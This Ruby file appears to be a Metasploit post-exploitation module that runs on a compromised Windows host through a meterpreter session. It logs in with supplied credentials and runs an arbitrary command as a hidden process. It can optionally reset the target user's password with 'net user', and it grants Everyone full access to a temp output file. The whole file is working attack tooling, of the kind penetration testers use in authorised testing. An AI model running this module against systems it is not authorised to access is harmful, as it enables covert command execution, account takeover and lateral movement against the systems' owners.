126 lines
4.3 KiB
Ruby
126 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Runas
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def initialize(info = {})
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super(update_info(info,
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'Name' => "Windows Manage Run Command As User",
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'Description' => %q(
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This module will login with the specified username/password and execute the
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supplied command as a hidden process. Output is not returned by default, by setting
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CMDOUT to false output will be redirected to a temp file and read back in to
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display.By setting advanced option SETPASS to true, it will reset the users
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password and then execute the command.
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),
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'License' => MSF_LICENSE,
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'Platform' => ['win'],
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'SessionTypes' => ['meterpreter'],
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'Author' => ['Kx499']
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))
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register_options(
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[
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OptString.new('DOMAIN', [true, 'Domain to login with' ]),
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OptString.new('USER', [true, 'Username to login with' ]),
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OptString.new('PASSWORD', [true, 'Password to login with' ]),
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OptString.new('CMD', [true, 'Command to execute' ]),
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OptBool.new('CMDOUT', [true, 'Retrieve command output', false])
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])
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register_advanced_options(
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[
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OptBool.new('SETPASS', [true, 'Reset password', false])
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])
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end
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# Check if sufficient privileges are present for certain actions and run getprivs for system
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# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
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# need to migrate to a process that is running as
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# system. If you don't have privs, this exits script.
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def priv_check
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if is_system?
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privs = session.sys.config.getprivs
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return privs.include?("SeAssignPrimaryTokenPrivilege") && privs.include?("SeIncreaseQuotaPrivilege")
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end
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false
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end
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def reset_pass(user, password)
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begin
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tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}")
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return tmpout.include?("successfully")
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rescue
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return false
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end
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end
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def touch(path)
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write_file(path, "")
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cmd_exec("icacls #{path} /grant Everyone:(F)")
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end
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def run
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# Make sure we meet the requirements before running the script, note no need to return
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# unless error
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return unless session.type == "meterpreter"
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pi = nil
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# check/set vars
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setpass = datastore["SETPASS"]
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cmdout = datastore["CMDOUT"]
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user = datastore["USER"] || nil
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password = datastore["PASSWORD"] || nil
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cmd = datastore["CMD"] || nil
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domain = datastore['DOMAIN']
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if setpass
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print_status("Setting user password")
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fail_with(Failure::Unknown, 'Error resetting password') unless reset_pass(user, password)
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end
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system_temp = get_env('WINDIR') << '\\Temp'
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outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt"
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# Create output file and set permissions so everyone can access
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touch(outpath)
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cmdstr = "cmd.exe /c #{cmd}"
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cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
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# Check privs and execute the correct commands
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# if user use createprocesswithlogon, if system logonuser and createprocessasuser
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# execute command and get output with a poor mans pipe
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if priv_check
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print_status("Executing CreateProcessAsUserA...we are SYSTEM")
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pi = create_process_as_user(domain, user, password, nil, cmdstr)
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if pi
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session.railgun.kernel32.CloseHandle(pi[:process_handle])
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session.railgun.kernel32.CloseHandle(pi[:thread_handle])
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end
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else
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print_status("Executing CreateProcessWithLogonW...")
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pi = create_process_with_logon(domain, user, password, nil, cmdstr)
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end
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# Only process file if the process creation was successful, delete when done, give us info
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# about process
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if pi
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tmpout = read_file(outpath) if cmdout
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print_status("Command Run: #{cmdstr}")
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vprint_status("Process Handle: #{pi[:process_handle]}")
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vprint_status("Thread Handle: #{pi[:thread_handle]}")
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vprint_status("Process Id: #{pi[:process_id]}")
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vprint_status("Thread Id: #{pi[:thread_id]}")
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print_status("Command output:\r\n#{tmpout}") unless tmpout.nil?
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end
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end
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end
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